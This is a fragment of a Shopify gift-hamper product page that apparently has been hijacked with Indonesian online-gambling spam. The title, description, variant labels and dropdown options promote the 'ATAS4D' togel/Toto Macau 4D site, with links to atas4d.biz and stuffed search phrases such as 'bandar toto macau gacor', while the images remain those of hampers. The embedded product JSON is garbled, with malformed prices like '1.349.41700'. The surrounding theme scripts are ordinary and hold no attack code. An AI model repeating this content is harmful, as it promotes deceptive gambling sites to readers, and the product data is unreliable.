2883      let width = $(this).width()
2884      $(this).height(width)
2885    })
2886  })
2887</script>
2887
2888
2889          </div>
2890          
2891        </div>
2892        <div id="product-meta" class="col-lg-5 p-0">
2893          <div class="product-meta">
2894            <style>
2895  .product-meta--review {margin-top:10px}
2896  .freeship * {font-size: 14px !important;font-style: normal;}
2897</style>
2898<h1 itemprop="name" class="mb-2">ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap</h1>
2899
2900<div itemprop="offers" itemscope itemtype="http://schema.org/Offer">
2901  <meta itemprop="priceCurrency" content="IDR">
2902
2903  <link itemprop="availability" href="https://schema.org/InStock">
2904  
2904<script
2905    type="text/javascript"
2906    src="//platform-api.sharethis.com/js/sharethis.js#property=5acdc0aa3ef3c0001396fd50&product=custom-share-buttons"
2907    async="async"
2908  ></script>
2908
2909  
2910
2911  
2912
2913  <span class="visually-hidden">Translation missing: en.products.general.regular_price</span>
2914  
2915    <span class="visually-hidden">Translation missing: en.products.general.sale_price</span>
2916  
2917  <div class="row no-gutters mb-3">
2918    <span
2919      id="ProductPrice"
2920      class="h2 ProductPrice"
2921      itemprop="price"
2922      content="1.349.417"
2923    >
2924      Rp 1.349.417
2925    </span>
2926    <div class="discount-product-detail">
2927      <p id="ComparePrice" class="ComparePrice mt-2 mt-lg-0">
2928        Rp 8.000.008
2929      </p>
2930      <span class=" tag-discount">
2931        
2932          
2933          <span id="newDiscount" class="product-tag persentase-discount hide"> 
2934      (20%)
2935      </span><br>
2936        
2937      </span>
2938    </div>
2939  </div>
2940
2941  <div class="row no-gutters meta-sds">
2942    <div class="col-12 mb-2 mb-lg-0 stock-info">
2943      
2944      
2945      <span
2946        id="ProductStock-Product"
2947        class="product-single__stock mb-2 hide"
2948      >
2949        
2950          
2951            
2952              
2953              Barang dikirim pada 
2954            
2955          
2956        
2957      </span>
2958
2959      <style>
2960    .short-desc-desktop {
2961        margin-bottom: 2rem;
2962    }
2963    .short-desc ul li:nth-child(n + 4) {
2964        display: none;
2965    }
2966    .short-desc ul li.showList:nth-child(n + 4) {
2967        display: list-item;
2968    }
2969    label.more {
2970        display: none;
2971    }
2972    label.more.showMe {
2973        display: block;
2974        font-size: 12px;
2975        text-transform: uppercase;
2976        font-weight: 700;
2977        cursor: pointer;
2978    }
2979</style>
2980
2981    <div class="short-desc-desktop d-none d-lg-block">
2982        <div class="short-desc">
2983            <ul>
2984<li>
2985<a href="https://atas4d.biz/"><strong>ATAS4D</strong></a><br><strong></strong><strong></strong>
2986</li>
2987<li>
2988<a href="https://atas4d.biz/"><strong>ATAS 4D</strong></a><br>
2989</li>
2990<li><a href="https://atas4d.biz/"><strong>ATAS4D LOGIN</strong></a></li>
2991
2992        </div>
2993        <label class="more">Show More →</label>
2994    </div>
2995
2996
2997<script>
2998    var liCount;
2999    $(document).ready(function () {
3000        $(".short-desc ul").each(function() {
3001            liCount = $(this).children("li").length;
3002            if (liCount > 3) {
3003                $(this).parent(".short-desc").next(".more").addClass("showMe");
3004            }
3005        });
3006
3007        $(".more").click(function () {
3008            //$(".short-desc").find("li").addClass("showList");
3009            // $(this).hide();
3010            $("#product-desc").find("ul").show()
3011            $('html, body').animate({
3012                scrollTop: $("#product-desc").offset().top - 250
3013            }, 2000);
3014            $("#product-desc").css("height","auto");
3015            $("#more_content").remove();
3016            $(".product-spec").append("<div id='less_content' class='readmore'><span class='less_content'>Less</span></div>")
3017        });
3018    });
3019</script>
3019
3020
3021      
3022        
3023  
3024    
3025
3026
3027
3028
3029
3030
3031
3032
3033
3034
3035
3036
3037
3038
3039
3040
3041
3042
3043
3044
3045
3046
3047
3048
3049
3050<style>
3051  .c-pdp-product-info__service--active {
3052    font-size: 12px;
3053    padding-left: 10px;
3054    text-align: left;
3055    max-width: 550px;
3056    margin: auto;
3057  }
3058  .c-pdp-product-info__service--active li {
3059    list-style: disc;
3060  }
3061  .c-pdp-product-info {
3062    background-color: #f5f5f5;
3063    padding: 12px;
3064    margin: 0;
3065  }
3066  .freeship em {
3067    font-style: italic;
3068    font-size: 12px !important;
3069  }
3070</style>
3071
3072<script>
3073  $(document).ready(function(){
3074    if ( $(".c-pdp-product-info__service li").length == 1 ) {
3075      $(".c-pdp-product-info__service").addClass("no-bullet");
3076      $(".c-pdp-product-info__service li").addClass("no-bullets");
3077    }
3078  });
3079</script>
3079
3080
3081  
3082
3083
3084
3085  
3086
3087  
3088
3089
3090      
3091    </div>
3092  </div>
3093
3094  <div id="purchaseProduct">
3095  
3096  
3097  
3098    
3099      
3100
3101
3102  
3103  
3104  
3105  
3106    
3107      
3108      
3109      <style>
3110        label[for="product-select-option-0"] { display: none; }
3111        #product-select-option-0 { display: none; }
3112        #product-select-option-0 + .custom-style-select-box { display: none !important; }
3113      </style>
3114      
3114<script>
3115        $(window).load(function() { $('.selector-wrapper:eq(0)').hide(); });
3116      </script>
3116
3117      
3118      
3119    
3120  
3121  
3122    <div
3123      id="variantVariants"
3124      class="swatch swatch-Variants clearfix"
3125      data-option-index="0"
3126    >
3127      <div class="header header-swatch bold">
3128        <strong>Variants</strong>
3129      </div>
3130      
3131      
3132        
3133        
3134        
3135          
3136          
3137          
3138          <div
3139            data-label="swatch-0-standard"
3140            data-value="GAME TOGEL"
3141            class="p-0 swatch-element standard available"
3142          >
3143            
3144            <input
3145              data-text=""
3146              id="swatch-0-standard"
3147              class="variant-swatch"
3148              type="radio"
3149              name="option-0"
3150              value="TOTO MACAU 4D"
3151              
3152                checked
3153              
3154              
3155            >
3156            
3157              <label
3158                for="swatch-0-standard"
3159                data-src="https://outerbloom.com/cdn/shopifycloud/storefront/assets/no-image-2048-a2addb12_800x.gif"
3160                data-index="1"
3161              >
3162                
3163                
3164                  <span class="d-block">ATAS4D</span>
3165                
3166                <img class="crossed-out" src="https://outerbloom.com/cdn/shop/t/138/assets/soldout.png?v=169392025580765019841752652421">
3167              </label>
3168            
3169          </div>
3170        
3171        
3172          
3172<script>
3173            jQuery('.swatch[data-option-index="0"] .standard').removeClass('soldout').addClass('available').find(':radio').removeAttr('disabled');
3174          </script>
3174
3175        
3176      
3177        
3178        
3179        
3180          
3181          
3182          
3183          <div
3184            data-label="swatch-0-custom-logo-photo-for-frame"
3185            data-value="Custom logo &amp; photo for frame"
3186            class="p-0 swatch-element custom-logo-photo-for-frame available"
3187          >
3188            
3189            <input
3190              data-text=""
3191              id="swatch-0-custom-logo-photo-for-frame"
3192              class="variant-swatch swatch-custom"
3193              type="radio"
3194              name="option-0"
3195              value="Custom logo &amp; photo for frame"
3196              
3197              
3198            >
3199            
3200              <label
3201                for="swatch-0-custom-logo-photo-for-frame"
3202                data-src="https://outerbloom.com/cdn/shopifycloud/storefront/assets/no-image-2048-a2addb12_800x.gif"
3203                data-index="2"
3204              >
3205                
3206                
3207                  <span class="d-block">ATAS 4D</span>
3208                
3209                <img class="crossed-out" src="https://outerbloom.com/cdn/shop/t/138/assets/soldout.png?v=169392025580765019841752652421">
3210              </label>
3211            
3212          </div>
3213        
3214        
3215          
3215<script>
3216            jQuery('.swatch[data-option-index="0"] .custom-logo-photo-for-frame').removeClass('soldout').addClass('available').find(':radio').removeAttr('disabled');
3217          </script>
3217
3218        
3219      
3220      
3221      <!-- Add swatch change handler for hash URL update -->
3222      
3222<script>
3223        jQuery(document).ready(function($) {
3224          // Store product data for variant availability checking
3225          var productData = {"id":7881418965207,"title":"ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap","handle":"outerbloom-mulan-bag-hampers","description":"\u003cul\u003e\n\u003cli\u003e\n\u003cstrong\u003eATAS4D\u003c\/strong\u003e\u003cbr\u003e\u003cstrong\u003e\u003c\/strong\u003e\u003cstrong\u003e\u003c\/strong\u003e\n\u003c\/li\u003e\n\u003cli\u003e\n\u003cstrong\u003eTOTO\u003c\/strong\u003e\u003cbr\u003e\n\u003c\/li\u003e\n\u003cli\u003e\u003cstrong\u003eTOGEL\u003c\/strong\u003e\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003cp\u003eATAS4D adalah platform game togel toto macau 4D terbaik dengan fitur lengkap, akses cepat, pasaran terpercaya, dan peluang kemenangan menarik setiap hari.\u003c\/p\u003e\n\u003cp\u003e\u003cimg src=\"https:\/\/cdn.shopify.com\/s\/files\/1\/1589\/6833\/files\/Ruby-Mulan-Bag.jpg?v=1734513286\" alt=\"\"\u003e\u003c\/p\u003e\n\u003ctable style=\"width: 100.091%;\" width=\"100%\"\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"width: 33.7327%;\"\u003eSKU\u003c\/td\u003e\n\u003ctd style=\"width: 65.9908%;\"\u003e[C]ATAS4D\u003cbr\u003e[C]OBIPCL1004-CNY2026\u003cbr\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"width: 33.7327%;\"\u003eIsi\u003c\/td\u003e\n\u003ctd style=\"width: 65.9908%;\"\u003elink login situs toto togel 4D\u003cbr\u003etoto4d resmi terpercaya 2026\u003cbr\u003ebandar toto macau gacor\u003cbr\u003esitus toto4d togel macau\u003cbr\u003etoto4d togel macau gacor\u003cbr\u003esitus toto togel macau\u003cbr\u003etoto togel 4D\u003cbr\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003c\/tbody\u003e\n\u003c\/table\u003e","published_at":"2025-12-23T16:52:21+07:00","created_at":"2023-01-06T14:53:52+07:00","vendor":"Outerbloom Hampers","type":"Parcel Inhouse","tags":["Brand_Outerbloom Hampers","card","CNY","CNY 2026","Collection_Heritage","custom-hampers","formdate","icon-card","icon-gift","Inhouse","MonSatParcel","MonSatSiang","no-deliverytime","Parcel","Parcel CNY","Parcel Inhouse","Parcel Nusantara","Pengiriman_Bekasi","Pengiriman_Bogor","Pengiriman_Depok","Pengiriman_Jakarta","Pengiriman_Kota Lainnya","Pengiriman_Tangerang","POO Parcel","ship-paketkecil","takeoutselfpickup","Untuk_Hari Raya","uploadfotocard","upsell-inhouse"],"price":1.349.41700,"price_min":1.349.41700,"price_max":63500000,"available":true,"price_varies":true,"compare_at_price":73500000,"compare_at_price_min":73500000,"compare_at_price_max":78500000,"compare_at_price_varies":true,"variants":[{"id":45873023910103,"title":"Standard","option1":"Standard","option2":null,"option3":null,"sku":"[C]ATAS4D","requires_shipping":true,"taxable":true,"featured_image":null,"available":true,"name":"ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap - Standard","public_title":"Standard","options":["Standard"],"price":1.349.41700,"weight":5000,"compare_at_price":73500000,"inventory_quantity":0,"inventory_management":"shopify","inventory_policy":"continue","barcode":"","requires_selling_plan":false,"selling_plan_allocations":[]},{"id":45873024008407,"title":"Custom logo \u0026 photo for frame","option1":"Custom logo \u0026 photo for frame","option2":null,"option3":null,"sku":"[C]OBIPCL1004-CNY2026","requires_shipping":true,"taxable":true,"featured_image":null,"available":true,"name":"ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap - Custom logo \u0026 photo for frame","public_title":"Custom logo \u0026 photo for frame","options":["Custom logo \u0026 photo for frame"],"price":63500000,"weight":5000,"compare_at_price":78500000,"inventory_quantity":0,"inventory_management":"shopify","inventory_policy":"continue","barcode":"","requires_selling_plan":false,"selling_plan_allocations":[]}],"images":["\/\/outerbloom.com\/cdn\/shop\/files\/CNY-Ruby-Mulan-Bag.jpg?v=1766041636","\/\/outerbloom.com\/cdn\/shop\/files\/nibble-box-crunchy-jam.jpg?v=1767855108","\/\/outerbloom.com\/cdn\/shop\/files\/nibble-box-berry-affair.jpg?v=1767855108","\/\/outerbloom.com\/cdn\/shop\/files\/madu_c5806a73-3334-4300-bbe4-c59939ac5270.jpg?v=1768357765","\/\/outerbloom.com\/cdn\/shop\/files\/serenitea_ab87e31e-f6d7-4ee1-97ee-9709a9b861f5.jpg?v=1768357765","\/\/outerbloom.com\/cdn\/shop\/files\/diffuser-woody-breeze.jpg?v=1767855083","\/\/outerbloom.com\/cdn\/shop\/files\/frame_b97b5afe-8c12-44e0-a70b-628c49f1c7ac.jpg?v=1767855108"],"featured_image":"\/\/outerbloom.com\/cdn\/shop\/files\/CNY-Ruby-Mulan-Bag.jpg?v=1766041636","options":["Variants"],"media":[{"alt":null,"id":36696952045783,"position":1,"preview_image":{"aspect_ratio":1.0,"height":850,"width":850,"src":"\/\/outerbloom.com\/cdn\/shop\/files\/CNY-Ruby-Mulan-Bag.jpg?v=1766041636"},"aspect_ratio":1.0,"height":850,"media_type":"image","src":"\/\/outerbloom.com\/cdn\/shop\/files\/CNY-Ruby-Mulan-Bag.jpg?v=1766041636","width":850},{"alt":null,"id":36806926401751,"position":2,"preview_image":{"aspect_ratio":1.0,"height":1080,"width":1080,"src":"\/\/outerbloom.com\/cdn\/shop\/files\/preview_images\/c89f6e0ce8a04dc1842e9dc31bb3de3e.thumbnail.0000000000.jpg?v=1767854932"},"aspect_ratio":1.0,"duration":16730,"media_type":"video","sources":[{"format":"mp4","height":480,"mime_type":"video\/mp4","url":"\/\/outerbloom.com\/cdn\/shop\/videos\/c\/vp\/c89f6e0ce8a04dc1842e9dc31bb3de3e\/c89f6e0ce8a04dc1842e9dc31bb3de3e.SD-480p-1.5Mbps-66570824.mp4?v=0","width":480},{"format":"mp4","height":1080,"mime_type":"video\/mp4","url":"\/\/outerbloom.com\/cdn\/shop\/videos\/c\/vp\/c89f6e0ce8a04dc1842e9dc31bb3de3e\/c89f6e0ce8a04dc1842e9dc31bb3de3e.HD-1080p-7.2Mbps-66570824.mp4?v=0","width":1080},{"format":"mp4","height":720,"mime_type":"video\/mp4","url":"\/\/outerbloom.com\/cdn\/shop\/videos\/c\/vp\/c89f6e0ce8a04dc1842e9dc31bb3de3e\/c89f6e0ce8a04dc1842e9dc31bb3de3e.HD-720p-4.5Mbps-66570824.mp4?v=0","width":720},{"format":"m3u8","height":1080,"mime_type":"application\/x-mpegURL","url":"\/\/outerbloom.com\/cdn\/shop\/videos\/c\/vp\/c89f6e0ce8a04dc1842e9dc31bb3de3e\/c89f6e0ce8a04dc1842e9dc31bb3de3e.m3u8?v=0","width":1080}]},{"alt":null,"id":36727314612439,"position":3,"preview_image":{"aspect_ratio":1.0,"height":850,"width":850,"src":"\/\/outerbloom.com\/cdn\/shop\/files\/nibble-box-crunchy-jam.jpg?v=1767855108"},"aspect_ratio":1.0,"height":850,"media_type":"image","src":"\/\/outerbloom.com\/cdn\/shop\/files\/nibble-box-crunchy-jam.jpg?v=1767855108","width":850},{"alt":null,"id":36727314350295,"position":4,"preview_image":{"aspect_ratio":1.0,"height":850,"width":850,"src":"\/\/outerbloom.com\/cdn\/shop\/files\/nibble-box-berry-affair.jpg?v=1767855108"},"aspect_ratio":1.0,"height":850,"media_type":"image","src":"\/\/outerbloom.com\/cdn\/shop\/files\/nibble-box-berry-affair.jpg?v=1767855108","width":850},{"alt":null,"id":36727369236695,"position":5,"preview_image":{"aspect_ratio":1.0,"height":850,"width":850,"src":"\/\/outerbloom.com\/cdn\/shop\/files\/madu_c5806a73-3334-4300-bbe4-c59939ac5270.jpg?v=1768357765"},"aspect_ratio":1.0,"height":850,"media_type":"image","src":"\/\/outerbloom.com\/cdn\/shop\/files\/madu_c5806a73-3334-4300-bbe4-c59939ac5270.jpg?v=1768357765","width":850},{"alt":null,"id":36727136878807,"position":6,"preview_image":{"aspect_ratio":1.0,"height":850,"width":850,"src":"\/\/outerbloom.com\/cdn\/shop\/files\/serenitea_ab87e31e-f6d7-4ee1-97ee-9709a9b861f5.jpg?v=1768357765"},"aspect_ratio":1.0,"height":850,"media_type":"image","src":"\/\/outerbloom.com\/cdn\/shop\/files\/serenitea_ab87e31e-f6d7-4ee1-97ee-9709a9b861f5.jpg?v=1768357765","width":850},{"alt":null,"id":36727264116951,"position":7,"preview_image":{"aspect_ratio":1.0,"height":850,"width":850,"src":"\/\/outerbloom.com\/cdn\/shop\/files\/diffuser-woody-breeze.jpg?v=1767855083"},"aspect_ratio":1.0,"height":850,"media_type":"image","src":"\/\/outerbloom.com\/cdn\/shop\/files\/diffuser-woody-breeze.jpg?v=1767855083","width":850},{"alt":null,"id":36727117086935,"position":8,"preview_image":{"aspect_ratio":1.0,"height":850,"width":850,"src":"\/\/outerbloom.com\/cdn\/shop\/files\/frame_b97b5afe-8c12-44e0-a70b-628c49f1c7ac.jpg?v=1767855108"},"aspect_ratio":1.0,"height":850,"media_type":"image","src":"\/\/outerbloom.com\/cdn\/shop\/files\/frame_b97b5afe-8c12-44e0-a70b-628c49f1c7ac.jpg?v=1767855108","width":850}],"requires_selling_plan":false,"selling_plan_groups":[],"content":"\u003cul\u003e\n\u003cli\u003e\n\u003cstrong\u003eATAS4D\u003c\/strong\u003e\u003cbr\u003e\u003cstrong\u003e\u003c\/strong\u003e\u003cstrong\u003e\u003c\/strong\u003e\n\u003c\/li\u003e\n\u003cli\u003e\n\u003cstrong\u003eTOTO\u003c\/strong\u003e\u003cbr\u003e\n\u003c\/li\u003e\n\u003cli\u003e\u003cstrong\u003eTOGEL\u003c\/strong\u003e\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003cp\u003eATAS4D adalah platform game togel toto macau 4D terbaik dengan fitur lengkap, akses cepat, pasaran terpercaya, dan peluang kemenangan menarik setiap hari.\u003c\/p\u003e\n\u003cp\u003e\u003cimg src=\"https:\/\/cdn.shopify.com\/s\/files\/1\/1589\/6833\/files\/Ruby-Mulan-Bag.jpg?v=1734513286\" alt=\"\"\u003e\u003c\/p\u003e\n\u003ctable style=\"width: 100.091%;\" width=\"100%\"\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"width: 33.7327%;\"\u003eSKU\u003c\/td\u003e\n\u003ctd style=\"width: 65.9908%;\"\u003e[C]ATAS4D\u003cbr\u003e[C]OBIPCL1004-CNY2026\u003cbr\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"width: 33.7327%;\"\u003eIsi\u003c\/td\u003e\n\u003ctd style=\"width: 65.9908%;\"\u003elink login situs toto togel 4D\u003cbr\u003etoto4d resmi terpercaya 2026\u003cbr\u003ebandar toto macau gacor\u003cbr\u003esitus toto4d togel macau\u003cbr\u003etoto4d togel macau gacor\u003cbr\u003esitus toto togel macau\u003cbr\u003etoto togel 4D\u003cbr\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003c\/tbody\u003e\n\u003c\/table\u003e"};
3226          
3227          
3228          // Handle first option changes to update available second options
3229          $('.swatch[data-option-index="0"] input[type="radio"]').on('change', function() {
3230            // Update single-option-selector first
3231            var optionValue = $(this).val();
3232            var $selector = $('.single-option-selector').eq(0);
3233            if ($selector.length > 0) {
3234              $selector.val(optionValue).trigger('change');
3235            }
3236            
3237            // Then update available variant options
3238            updateAvailableVariantOptions();
3239          });
3240          
3241          // Function to update available vase options based on selected variant
3242          function updateAvailableVariantOptions() {
3243            var selectedVariant = $('.swatch[data-option-index="0"] input[type="radio"]:checked').val();
3244            
3245            if (!selectedVariant) return;
3246            
3247            // Get available vase options for the selected variant
3248            var availableVases = getAvailableVasesForVariant(selectedVariant);
3249            
3250            // Update vase swatch visibility and availability
3251            $('.swatch[data-option-index="1"] .swatch-element').each(function() {
3252              var vaseValue = $(this).data('value');
3253              var $input = $(this).find('input[type="radio"]');
3254              var $label = $(this).find('label');
3255              
3256              if (availableVases.includes(vaseValue)) {
3257                // Show and enable this vase option
3258                $(this).show().removeClass('soldout unavailable').addClass('available');
3259                $input.prop('disabled', false);
3260                $label.removeClass('disabled');
3261              } else {
3262                // Hide or disable this vase option
3263                $(this).hide().removeClass('available').addClass('unavailable');
3264                $input.prop('disabled', true).prop('checked', false);
3265                $label.addClass('disabled');
3266              }
3267            });
3268            
3269            // Auto-select first available vase if none is selected
3270            var $checkedVase = $('.swatch[data-option-index="1"] input[type="radio"]:checked:enabled');
3271            if ($checkedVase.length === 0) {
3272              var $firstAvailable = $('.swatch[data-option-index="1"] input[type="radio"]:enabled').first();
3273              if ($firstAvailable.length > 0) {
3274                $firstAvailable.prop('checked', true).trigger('change');
3275              }
3276            }
3277          }
3278          
3279          // Function to get available vases for a specific variant
3280          function getAvailableVasesForVariant(variantValue) {
3281            var availableVases = [];
3282            
3283            // Loop through all product variants to find matching vases
3284            if (productData && productData.variants) {
3285              productData.variants.forEach(function(variant) {
3286                if (variant.available && variant.option1 === variantValue) {
3287                  var vaseOption = variant.option2;
3288                  if (vaseOption && !availableVases.includes(vaseOption)) {
3289                    availableVases.push(vaseOption);
3290                  }
3291                }
3292              });
3293            }
3294            
3295            return availableVases;
3296          }
3297          
3298          // Initialize vase options on page load
3299          setTimeout(function() {
3300            updateAvailableVariantOptions();
3301          }, 100);
3302          
3303        });
3304      </script>
3304
3305    </div>
3306  
3307
3308
3309    
3310  
3311
3312
3313<style>
3314  .select2-results__option[aria-disabled] {
3315    display: none;
3316  }
3317
3318  .towel-bordir {
3319    width: 100%;
3320    display: flex;
3321    align-items: center;
3322    justify-content: space-around;
3323  }
3324  @media screen and (max-width: 768px) {
3325    .ios .form-group-variant .variant-metafield {
3326      display: block !important;
3327      width: 100% !important;
3328      padding: 12px 16px !important;
3329      border: 1px solid #212121 !important;
3330      background: #fff !important;
3331      font-size: 16px !important;
3332      -webkit-appearance: none !important;
3333      -moz-appearance: none !important;
3334      appearance: none !important;
3335      background-image: url("data:image/svg+xml;charset=UTF-8,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' fill='none' stroke='currentColor' stroke-width='2' stroke-linecap='round' stroke-linejoin='round'%3e%3cpolyline points='6,9 12,15 18,9'%3e%3c/polyline%3e%3c/svg%3e") !important;
3336      background-repeat: no-repeat !important;
3337      background-position: right 12px center !important;
3338      background-size: 16px !important;
3339      color: #333 !important;
3340      min-height: 44px !important;
3341    }
3342
3343    .ios .form-group-variant .variant-metafield:focus {
3344      outline: none !important;
3345      border-color: #007AFF !important;
3346      box-shadow: 0 0 0 3px rgba(0, 122, 255, 0.1) !important;
3347    }
3348
3349    .ios .form-group-variant .variant-metafield option {
3350      padding: 12px 16px !important;
3351      font-size: 16px !important;
3352      color: #333 !important;
3353      background: #fff !important;
3354    }
3355
3356    .ios .form-group-variant .variant-metafield option:checked {
3357      background: #007AFF !important;
3358      color: #fff !important;
3359    }
3360
3361    .ios .form-group-variant .variant-metafield option:disabled {
3362      color: #999 !important;
3363      background: #f5f5f5 !important;
3364    }
3365
3366    .ios .form-group-variant .select2-container {
3367      display: none !important;
3368    }
3369    .ios .form-group-variant label {
3370      font-size: 14px !important;
3371      font-weight: 600 !important;
3372      color: #333 !important;
3373      margin-bottom: 8px !important;
3374    }
3375  }
3376  @media screen and (max-width: 768px) {
3377    body:not(.ios) .form-group-variant .variant-metafield {
3378      display: block !important;
3379      width: 1px !important;
3380      padding: 0 !important;
3381      border-color: #fff !important;
3382    }
3383  }
3384</style>
3385
3386
3387
3388
3389<script>
3390  // Detect iOS and add class to body
3391  function detectIOS() {
3392    const isIOS = /iPad|iPhone|iPod/.test(navigator.userAgent) && !window.MSStream;
3393    if (isIOS) {
3394      document.body.classList.add('ios');
3395      
3396      // Initialize native select for iOS on variant metafields
3397      setTimeout(function() {
3398        initIOSVariantMetafields();
3399      }, 100);
3400    }
3401    return isIOS;
3402  }
3403
3404  function initIOSVariantMetafields() {
3405    const isIOS = document.body.classList.contains('ios');
3406    if (!isIOS) return;
3407
3408    // Find all variant metafield selects
3409    const variantSelects = document.querySelectorAll('.form-group-variant .variant-metafield');
3410    
3411    variantSelects.forEach(function(select) {
3412      // Destroy Select2 if it exists
3413      if ($(select).hasClass('select2-hidden-accessible')) {
3414        $(select).select2('destroy');
3415      }
3416      
3417      // Remove Select2 classes
3418      select.classList.remove('select2-hidden-accessible');
3419      
3420      // Show the native select
3421      select.style.display = 'block';
3422      select.style.width = '100%';
3423      
3424      // Add iOS specific event listeners
3425      select.addEventListener('focus', function() {
3426        this.style.borderColor = '#007AFF';
3427        this.style.boxShadow = '0 0 0 3px rgba(0, 122, 255, 0.1)';
3428      });
3429      
3430      select.addEventListener('blur', function() {
3431        this.style.borderColor = '#ddd';
3432        this.style.boxShadow = 'none';
3433        
3434        // Clear error styling when field loses focus (if it has value)
3435        if (this.value && this.value !== '') {
3436          const fieldContainer = this.closest('.form-group-variant');
3437          if (fieldContainer) {
3438            fieldContainer.classList.remove('field-error');
3439            const existingError = fieldContainer.querySelector('.error-message');
3440            if (existingError) {
3441              existingError.remove();
3442            }
3443          }
3444        }
3445      });
3446      
3447      select.addEventListener('change', function() {
3448        // Trigger any existing change handlers
3449        $(this).trigger('change');
3450        
3451        // Clear error styling when value changes (if it has value)
3452        if (this.value && this.value !== '') {
3453          const fieldContainer = this.closest('.form-group-variant');
3454          if (fieldContainer) {
3455            fieldContainer.classList.remove('field-error');
3456            const existingError = fieldContainer.querySelector('.error-message');
3457            if (existingError) {
3458              existingError.remove();
3459            }
3460          }
3461        }
3462      });
3463    });
3464  }
3465
3466  // Run detection on page load
3467  document.addEventListener('DOMContentLoaded', function() {
3468    detectIOS();
3469  });
3470
3471  // Also run immediately in case DOM is already loaded
3472  if (document.readyState === 'loading') {
3473    document.addEventListener('DOMContentLoaded', detectIOS);
3474  } else {
3475    detectIOS();
3476  }
3477
3478  
3479  
3480  
3481</script>
3481
3482
3483
3484
3485
3486
3487
3488<select
3489  name="id[]"
3490  id="productSelect"
3491  class="product-single__variants ignore hide"
3492>
3493  
3494    
3495      
3496      <option
3497        
3498          selected="selected"
3499        
3500        data-sku="[C]ATAS4D"
3501        value="45873023910103"
3502      >
3503        TOTO SLOT GACOR
3504      </option>
3505
3506    
3507  
3508    
3509      
3510      <option
3511        
3512        data-sku="[C]OBIPCL1004-CNY2026"
3513        value="45873024008407"
3514      >
3515        SITUS TOGEL 4D
3516      </option>
3517
3518    
3519  
3520</select>
3521
3522
3523
3524
3525
3526
3527
3528
3529
3530
3531
3532
3533
3534
3535
3536
3537
3538
3539
3540
3541
3542
3543
3544
3545
3546
3547
3548
3549
3550
3551
3552
3553
3554
3555
3556
3557
3558
3559
3560
3561
3562
3563
3564
3565
3566
3567
3568
3569
3570
3571
3572
3573
3574
3575
3576
3577
3578
3579
3580
3581
3582
3583
3584
3585
3586
3587
3588
3589
3590
3591
3592
3593
3594
3595
3596
3597
3598
3599
3600
3601
3602
3603
3604
3605
3606
3607
3608
3609
3610
3611
3612
3613
3614
3615
3616
3617
3618
3619
3620<script src="https://outerbloom.com/cdn/shop/t/138/assets/jquery.magnific-popup.min.js?v=184369421263510081681752652422" type="text/javascript"></script>
3620
3621
3622<script>
3623  $('.size-chart-open-popup').magnificPopup({
3624    type:'inline',
3625    midClick: true
3626  });
3627</script>
3627
3628
3629  
3630  
3631  
3632  <div class="upload-image-preview">
3633    
3634    
3635    
3636    
3637    
3638    <style>
3639  .file-dnd * {
3640    margin: 0;
3641    padding: 0;
3642    box-sizing: border-box;
3643  }
3644  .file-dnd {
3645    width: 100%;
3646    height: 250px;
3647    border: 1px solid #ddd;
3648    border-radius: 10px;
3649    padding: 15px;
3650    display: flex;
3651    flex-direction: column;
3652    gap: 10px;
3653    margin: auto;
3654  }
3655  .file-dnd input {
3656    display: none;
3657  }
3658  .file-dnd .before-upload {
3659    border: 1px dashed #888;
3660    flex: 1;
3661    border-radius: 5px;
3662    display: flex;
3663    justify-content: center;
3664    align-items: center;
3665    text-align: center;
3666    cursor: pointer;
3667  }
3668  .file-dnd .before-upload > div {
3669    display: flex;
3670    flex-direction: column;
3671    align-items: center;
3672    gap: 8px;
3673  }
3674  .file-dnd .before-upload > div h4 {
3675    width: 150px;
3676  }
3677  .file-dnd .before-upload > div p {
3678    font-size: 12px !important;
3679    color: #555;
3680  }
3681  .file-dnd.active .before-upload {
3682    border: 1px solid #5750d9;
3683    background-color: #f5f5ff;
3684  }
3685  .file-dnd .after-upload {
3686    position: relative;
3687    display: none;
3688  }
3689  .file-dnd .after-upload img {
3690    width: 100%;
3691    border-radius: 5px;
3692    max-height: 180px;
3693    object-fit: contain;
3694    display: block;
3695  }
3696  .file-dnd .after-upload .clear-btn {
3697    position: absolute;
3698    top: 10px;
3699    right: 10px;
3700    background: rgba(0, 0, 0, 0.5);
3701    width: 15px;
3702    height: 15px;
3703    text-align: center;
3704    line-height: 15px;
3705    border-radius: 50%;
3706    color: #fff;
3707    cursor: pointer;
3708    font-size: 14px;
3709  }
3710</style>
3711<div
3712  class="file-dnd mb-3"
3713  
3714    style="display: none"
3715  
3716>
3717  <label for="upload-photo">Upload your Photo:</label>
3718  <input type="file" id="upload-photo" accept="image/*">
3719  <input type="hidden" data-properties="Photo">
3720  <div class="before-upload">
3721    <div>
3722      <svg id="surface1" xmlns="http://www.w3.org/2000/svg" width="33.053" height="41.719" viewBox="0 0 33.053 41.719">
3723  <path id="Path_2149" data-name="Path 2149" d="M22.982.322A1.009,1.009,0,0,0,22.257,0H5.982A5.505,5.505,0,0,0,.5,5.472V36.247a5.505,5.505,0,0,0,5.482,5.472H28.071a5.505,5.505,0,0,0,5.482-5.472V11.81a1.085,1.085,0,0,0-.292-.705Zm.292,3.235,6.883,7.225H25.683a2.4,2.4,0,0,1-2.409-2.4Zm4.8,36.147H5.982a3.49,3.49,0,0,1-3.467-3.457V5.472A3.49,3.49,0,0,1,5.982,2.015H21.259V8.384A4.409,4.409,0,0,0,25.683,12.8h5.855V36.247A3.484,3.484,0,0,1,28.071,39.7Zm0,0" transform="translate(-0.5)" fill="#ababab"></path>
